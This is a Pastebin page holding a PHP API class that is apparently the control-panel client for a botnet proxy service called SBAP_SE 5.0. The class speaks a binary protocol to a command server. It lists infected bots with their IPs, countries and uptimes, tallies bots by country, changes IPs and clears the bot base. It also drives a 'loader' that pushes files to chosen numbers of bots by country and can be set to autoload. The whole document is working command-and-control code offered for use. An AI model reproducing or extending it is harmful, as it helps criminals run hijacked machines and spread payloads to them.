Advertisement
0xroot

sbap_se

Apr 10th, 2011
255
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 15.41 KB | None | 0 0
  1. <?php
  2.  
  3. // SBAP_SE 5.0 API class
  4. // function Close - closing of connection with a server
  5. // function Connect - connect to server
  6. // function Reboot - send reboot cmd to server
  7. // function ClearBase - clear bot base
  8. // function Auth - check pass
  9. // function GetList - get proxy list
  10. // function GetInfo - get system info
  11. // function GetConfig - get system config
  12. // function SetConfig - set system config
  13.  
  14.  
  15.     define('SIGNATURE', 0xFA02);
  16.     define('HEADER_SIZE', 42);
  17.  
  18.     define('MAX_IP_FOR_CLIENT', 100);
  19.    
  20.     define('ADMIN_CMD_AUTH', 0);
  21.     define('ADMIN_CMD_GET_LIST', 1);
  22.     define('ADMIN_CMD_GET_INFO', 2);
  23.     define('ADMIN_CMD_GET_CONFIG', 3);
  24.     define('ADMIN_CMD_SET_CONFIG', 4);
  25.     define('ADMIN_CMD_REBOOT', 5);
  26.     define('ADMIN_CMD_CLEAT_BASE', 6);
  27.     define('ADMIN_CMD_LOADER_GET', 7);
  28.     define('ADMIN_CMD_LOADER_SET', 8);
  29.     define('ADMIN_CMD_LOADER_RELOAD', 9);
  30.     define('ADMIN_CMD_LOADER_AUTOLOAD', 10);
  31.     define('ADMIN_CMD_IP_CHANGE', 11);
  32.    
  33.     define('OUT_ADMIN_CMD_AUTH_ERROR', 1);
  34.     define('OUT_ADMIN_CMD_CMD_ERROR', 2);
  35.     define('OUT_ADMIN_CMD_PARAM_ERROR', 3);
  36.     define('OUT_ADMIN_CMD_OK', 4);
  37.     define('OUT_ADMIN_CMD_CONNECT_ERROR', 5);
  38.     define('OUT_ADMIN_CMD_STATUS_ERROR', 6);
  39.    
  40.    
  41. class SBAP_SE_5_0_API
  42. {
  43.     var $socket;
  44.     var $pass;
  45.     var $connected = false;
  46.     var $ServerIp;
  47.    
  48.     function ReadSocket($len)
  49.     {
  50.         $out = '';
  51.         $rb = 0;
  52.        
  53.         do
  54.         {
  55.             $tmp = socket_read($this->socket, $len - $rb, PHP_BINARY_READ);
  56.             if ($tmp == FALSE) break;
  57.             $out .= $tmp;
  58.             $rb = strlen($out);
  59.         } while ($rb < $len);
  60.        
  61.         return $out;
  62.     }
  63.    
  64.     function ErrorCodeToMsg($code)
  65.     {
  66.         switch ($code)
  67.         {
  68.             case OUT_ADMIN_CMD_AUTH_ERROR:
  69.                 return 'Password incorrect';
  70.             case OUT_ADMIN_CMD_CMD_ERROR:
  71.                 return 'CMD Error';
  72.             case OUT_ADMIN_CMD_PARAM_ERROR:
  73.                 return 'Param Error';
  74.             case OUT_ADMIN_CMD_OK:
  75.                 return 'OK';
  76.             case OUT_ADMIN_CMD_CONNECT_ERROR:
  77.                 return 'Connect to server error';
  78.             default: return 'Internal Error. Code: '.$code;
  79.         }
  80.     }
  81.    
  82.     function BuildHeader($cmd, $len)
  83.     {
  84.         $out = pack('SSCN', SIGNATURE, $len, $cmd, ip2long($_SERVER['REMOTE_ADDR']));
  85.         $out .= $this->pass;
  86.         $out .= str_repeat(chr(0), (33 - strlen($this->pass)));
  87.  
  88.         return $out;
  89.     }
  90.  
  91.     function Connect($host, $port, $pass)
  92.     {
  93.         $pass = md5($pass);
  94.         $this->ServerIp = $host;
  95.         $this->socket = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  96.         if ($this->socket)
  97.         {
  98.             if (!@socket_connect($this->socket, $host, $port))
  99.             {
  100.                 @socket_close($this->socket);
  101.                 $this->connected = false;
  102.             }
  103.             else
  104.             {
  105.                 $this->connected = true;
  106.                 $this->pass = $pass;
  107.                 return true;
  108.             }
  109.         }
  110.  
  111.         return false;
  112.     }
  113.    
  114.     function Close()
  115.     {
  116.         if ($this->connected)
  117.         {
  118.             @socket_close($this->socket);
  119.             $this->connected = false;
  120.             $this->pass = false; // security hihi ))
  121.         }
  122.     }
  123.  
  124.  
  125.     function Reboot()
  126.     {
  127.         if ($this->connected)
  128.         {
  129.             $out = $this->BuildHeader(ADMIN_CMD_REBOOT, HEADER_SIZE);
  130.             @socket_write($this->socket, $out, strlen($out));
  131.            
  132.             $out = @socket_read($this->socket, 3, PHP_BINARY_READ);
  133.             return ord($out[2]);
  134.         }
  135.         else
  136.         {
  137.             return OUT_ADMIN_CMD_CONNECT_ERROR;
  138.         }
  139.     }
  140.    
  141.     function ClearBase()
  142.     {
  143.         if ($this->connected)
  144.         {
  145.             $out = $this->BuildHeader(ADMIN_CMD_CLEAT_BASE, HEADER_SIZE);
  146.             @socket_write($this->socket, $out, strlen($out));
  147.            
  148.             $out = @socket_read($this->socket, 3, PHP_BINARY_READ);
  149.             return ord($out[2]);
  150.         }
  151.         else
  152.         {
  153.             return OUT_ADMIN_CMD_CONNECT_ERROR;
  154.         }
  155.     }
  156.    
  157.     function GetList()
  158.     {
  159.         if ($this->connected)
  160.         {
  161.             $out = $this->BuildHeader(ADMIN_CMD_GET_LIST, HEADER_SIZE);
  162.             @socket_write($this->socket, $out, strlen($out));
  163.             $out = @socket_read($this->socket, 3, PHP_BINARY_READ);
  164.            
  165.             if (ord($out[2]) == OUT_ADMIN_CMD_OK)
  166.             {
  167.                 $out = @socket_read($this->socket, 4, PHP_BINARY_READ);
  168.                 if ($out)
  169.                 {
  170.                     $x = 0;
  171.                     $info = array();
  172.                     $info['ip'] = $this->ServerIp;
  173.                     $info['cnt'] = 0;
  174.                    
  175.                     while ($out = $this->ReadSocket(12))
  176.                     {
  177.                         $info['port'][$x] = ord($out[0]) + (ord($out[1]) << 8);
  178.                         $info['group'][$x] = ord($out[2]);
  179.                         $info['country'][$x] = ord($out[3]);
  180.                         $info['uptime'][$x] = ord($out[4]) + (ord($out[5]) << 8) + (ord($out[6]) << 16)+ (ord($out[7]) << 24);
  181.                         $info['botip'][$x] = long2ip(ord($out[11]) + (ord($out[10]) << 8) + (ord($out[9]) << 16)+ (ord($out[8]) << 24));
  182.                         $x++;
  183.                     }                          
  184.                     $info['cnt'] = $x;
  185.  
  186.                     return $info;
  187.                 }
  188.                 else
  189.                 {
  190.                     return OUT_ADMIN_CMD_STATUS_ERROR;
  191.                 }
  192.             }
  193.             else
  194.             {
  195.                 return ord($out[2]);
  196.             }
  197.         }
  198.         else
  199.         {
  200.             return OUT_ADMIN_CMD_CONNECT_ERROR;
  201.         }
  202.     }
  203.    
  204.     function Auth()
  205.     {
  206.         if ($this->connected)
  207.         {
  208.             $out = $this->BuildHeader(ADMIN_CMD_AUTH, HEADER_SIZE);
  209.             @socket_write($this->socket, $out, strlen($out));
  210.            
  211.             $out = @socket_read($this->socket, 3, PHP_BINARY_READ);
  212.             return ord($out[2]);
  213.         }
  214.         else
  215.         {
  216.             return OUT_ADMIN_CMD_CONNECT_ERROR;
  217.         }
  218.     }
  219.        
  220.     function CorrInt64($s)
  221.     {
  222.         $s = trim($s);
  223.         $out = '';
  224.         $len = strlen($s)-1;
  225.        
  226.         for ($x = $len, $y = 1; $x >= 0; $x--, $y++)
  227.         {
  228.             $out = $s[$x] . $out;
  229.             if ($y % 3 == 0 && $y <= $len)
  230.             {
  231.                 $out = '.' . $out;
  232.             }
  233.         }
  234.  
  235.         return $out;
  236.     }
  237.    
  238.     function GetInfo()
  239.     {
  240.         if ($this->connected)
  241.         {
  242.             $out = $this->BuildHeader(ADMIN_CMD_GET_INFO, HEADER_SIZE);
  243.             @socket_write($this->socket, $out, strlen($out));
  244.            
  245.             $out = @socket_read($this->socket, 3, PHP_BINARY_READ);
  246.             if (ord($out[2]) == OUT_ADMIN_CMD_OK)
  247.             {
  248.                 $info = array();
  249.                
  250.                 $info['incoming'] = $this->CorrInt64($this->ReadSocket(20));
  251.                 $info['outcoming'] = $this->CorrInt64($this->ReadSocket(20));
  252.                
  253.                 $out = @socket_read($this->socket, 4, PHP_BINARY_READ);
  254.                 $info['portmap_use'] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);
  255.                
  256.                 $out = @socket_read($this->socket, 4, PHP_BINARY_READ);
  257.                 $info['portmap_work'] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);
  258.                                
  259.                 $out = @socket_read($this->socket, 4, PHP_BINARY_READ);
  260.                 $info['portmap_wait'] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);
  261.                                
  262.                 $out = @socket_read($this->socket, 4, PHP_BINARY_READ);
  263.                 $info['bot_cnt'] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);
  264.                
  265.                 $out = @socket_read($this->socket, 4, PHP_BINARY_READ);
  266.                 $info['bot_dc_err'] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);
  267.                
  268.                 $out = @socket_read($this->socket, 4, PHP_BINARY_READ);
  269.                 $info['bot_dc_ok'] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);
  270.                
  271.                 $out = @socket_read($this->socket, 4, PHP_BINARY_READ);
  272.                 $info['bot_dc_real'] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);
  273.                
  274.                 $out = @socket_read($this->socket, 4, PHP_BINARY_READ);
  275.                 $info['client_connect'] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);
  276.                
  277.                 $info['country'] = array();
  278.                 $info['country_online'] = array();
  279.                
  280.                 $info['group'] = array();
  281.                 $info['group_online'] = array();
  282.                
  283.                 for ($x = 0; $x < 256; $x++)
  284.                 {
  285.                     $out = @socket_read($this->socket, 4, PHP_BINARY_READ);
  286.                     $info['country'][$x] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);                    
  287.                 }
  288.  
  289.                 for ($x = 0; $x < 256; $x++)
  290.                 {
  291.                     $out = @socket_read($this->socket, 4, PHP_BINARY_READ);
  292.                     $info['country_online'][$x] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);                    
  293.                 }
  294.                
  295.                 for ($x = 0; $x < 256; $x++)
  296.                 {
  297.                     $out = @socket_read($this->socket, 4, PHP_BINARY_READ);
  298.                     $info['group'][$x] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);                    
  299.                 }
  300.  
  301.                 for ($x = 0; $x < 256; $x++)
  302.                 {
  303.                     $out = @socket_read($this->socket, 4, PHP_BINARY_READ);
  304.                     $info['group_online'][$x] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);                    
  305.                 }
  306.  
  307.                 return $info;
  308.             }
  309.             else
  310.             {
  311.                 return ord($out[2]);
  312.             }
  313.         }
  314.         else
  315.         {
  316.             return OUT_ADMIN_CMD_CONNECT_ERROR;
  317.         }
  318.     }
  319.    
  320.     function GetConfig()
  321.     {
  322.         if ($this->connected)
  323.         {
  324.             $out = $this->BuildHeader(ADMIN_CMD_GET_CONFIG, HEADER_SIZE);
  325.             @socket_write($this->socket, $out, strlen($out));
  326.        
  327.             $out = @socket_read($this->socket, 3, PHP_BINARY_READ);
  328.             if (ord($out[2]) == OUT_ADMIN_CMD_OK)
  329.             {
  330.                 $info = array();
  331.                 $out = $this->ReadSocket(2 + 4 * MAX_IP_FOR_CLIENT);
  332.                 if ($out)
  333.                 {
  334.                     $info['la'] = ord($out[0]);
  335.                     $info['pa'] = ord($out[1]);
  336.    
  337.                     for ($x = 0; $x < MAX_IP_FOR_CLIENT; $x++)
  338.                     {
  339.                         $z = 2 + $x * 4;
  340.                         $info['ip'][$x] = long2ip(ord($out[$z+3]) + (ord($out[$z+2]) << 8) + (ord($out[$z+1]) << 16)+ (ord($out[$z]) << 24));
  341.                     }
  342.                    
  343.                 }
  344.  
  345.                 return $info;
  346.             }
  347.             else
  348.             {
  349.                 return ord($out[2]);
  350.             }
  351.         }
  352.         else
  353.         {
  354.             return OUT_ADMIN_CMD_CONNECT_ERROR;
  355.         }            
  356.     }
  357.  
  358.     function SetConfig($ListAccess, $ProxyAccess, $Pass, $IpList)
  359.     {
  360.        
  361.         if ($this->connected)
  362.         {
  363.             $out = $this->BuildHeader(ADMIN_CMD_SET_CONFIG, HEADER_SIZE + 2 + 33 + 4 * MAX_IP_FOR_CLIENT);
  364.             $out .= chr($ListAccess) . chr($ProxyAccess);
  365.            
  366.             for ($x = 0; $x < MAX_IP_FOR_CLIENT; $x++)
  367.             {
  368.                 $out .= pack('N', ip2long($IpList[$x]));
  369.             }
  370.             $out .= md5($Pass);
  371.             $out .= str_repeat(chr(0), (33 - strlen($Pass)));
  372.            
  373.             @socket_write($this->socket, $out, strlen($out));
  374.             $out = @socket_read($this->socket, 3, PHP_BINARY_READ);
  375.            
  376.             return ord($out[2]);
  377.         }
  378.         else
  379.         {
  380.             return OUT_ADMIN_CMD_CONNECT_ERROR;
  381.         }
  382.     }
  383.    
  384.     function GetLoaderInfo()
  385.     {
  386.         if ($this->connected)
  387.         {
  388.             $out = $this->BuildHeader(ADMIN_CMD_LOADER_GET, HEADER_SIZE);
  389.            
  390.             @socket_write($this->socket, $out, strlen($out));
  391.  
  392.             $out = @socket_read($this->socket, 3, PHP_BINARY_READ);
  393.             if (ord($out[2]) == OUT_ADMIN_CMD_OK)
  394.             {
  395.                 $info = array();
  396.                 $out = $this->ReadSocket(4);
  397.                 $info['cmd_send'] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);                    
  398.                 $out = $this->ReadSocket(4);
  399.                 $info['cmd_ok'] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);      
  400.    
  401.                 $out = $this->ReadSocket(4);
  402.                 $info['cmd_err'] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);      
  403.        
  404.                 $out = $this->ReadSocket(4);
  405.                 $info['file_size'] = ord($out[0]) + (ord($out[1]) << 8) + (ord($out[2]) << 16)+ (ord($out[3]) << 24);  
  406.                
  407.                 $out = $this->ReadSocket(1);
  408.                 $info['autoload'] = ord($out[0]);
  409.                
  410.                 return $info;
  411.             }      
  412.             else
  413.             {
  414.                 return ord($out[2]);
  415.             }
  416.         }
  417.         else
  418.         {
  419.             return OUT_ADMIN_CMD_CONNECT_ERROR;
  420.         }
  421.     }
  422.    
  423.     function GetLoaderReload()
  424.     {
  425.         if ($this->connected)
  426.         {
  427.             $out = $this->BuildHeader(ADMIN_CMD_LOADER_RELOAD, HEADER_SIZE);
  428.            
  429.            
  430.             @socket_write($this->socket, $out, strlen($out));
  431.  
  432.             $out = @socket_read($this->socket, 3, PHP_BINARY_READ);
  433.             return ord($out[2]);
  434.         }
  435.         else
  436.         {
  437.             return OUT_ADMIN_CMD_CONNECT_ERROR;
  438.         }
  439.     }
  440.    
  441.     function LoaderRun($type, $count, $country)
  442.     {
  443.         if ($this->connected)
  444.         {
  445.             $out = $this->BuildHeader(ADMIN_CMD_LOADER_SET, HEADER_SIZE + 6);
  446.             $out .= chr($type).chr($country).pack('N', $count);
  447.  
  448.            
  449.             @socket_write($this->socket, $out, strlen($out));
  450.  
  451.             $out = @socket_read($this->socket, 3, PHP_BINARY_READ);
  452.             return ord($out[2]);
  453.         }
  454.         else
  455.         {
  456.             return OUT_ADMIN_CMD_CONNECT_ERROR;
  457.         }
  458.     }
  459.    
  460.     function SetLoaderAuto($state)
  461.     {
  462.         if ($this->connected)
  463.         {
  464.             $out = $this->BuildHeader(ADMIN_CMD_LOADER_AUTOLOAD, HEADER_SIZE + 1);
  465.             $out .= chr($state);
  466.  
  467.            
  468.             @socket_write($this->socket, $out, strlen($out));
  469.  
  470.             $out = @socket_read($this->socket, 3, PHP_BINARY_READ);
  471.             return ord($out[2]);
  472.         }
  473.         else
  474.         {
  475.             return OUT_ADMIN_CMD_CONNECT_ERROR;
  476.         }
  477.     }
  478.    
  479.     function IpChange($flag, $ip)
  480.     {
  481.         if ($this->connected)
  482.         {
  483.             $out = $this->BuildHeader(ADMIN_CMD_IP_CHANGE, HEADER_SIZE + 5);
  484.             $out .= chr($flag).pack('N', ip2long($ip));
  485.  
  486.             @socket_write($this->socket, $out, strlen($out));
  487.  
  488.             $out = @socket_read($this->socket, 3, PHP_BINARY_READ);
  489.             return ord($out[2]);
  490.         }
  491.         else
  492.         {
  493.             return OUT_ADMIN_CMD_CONNECT_ERROR;
  494.         }
  495.     }
  496.        
  497. }
  498.  
  499. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement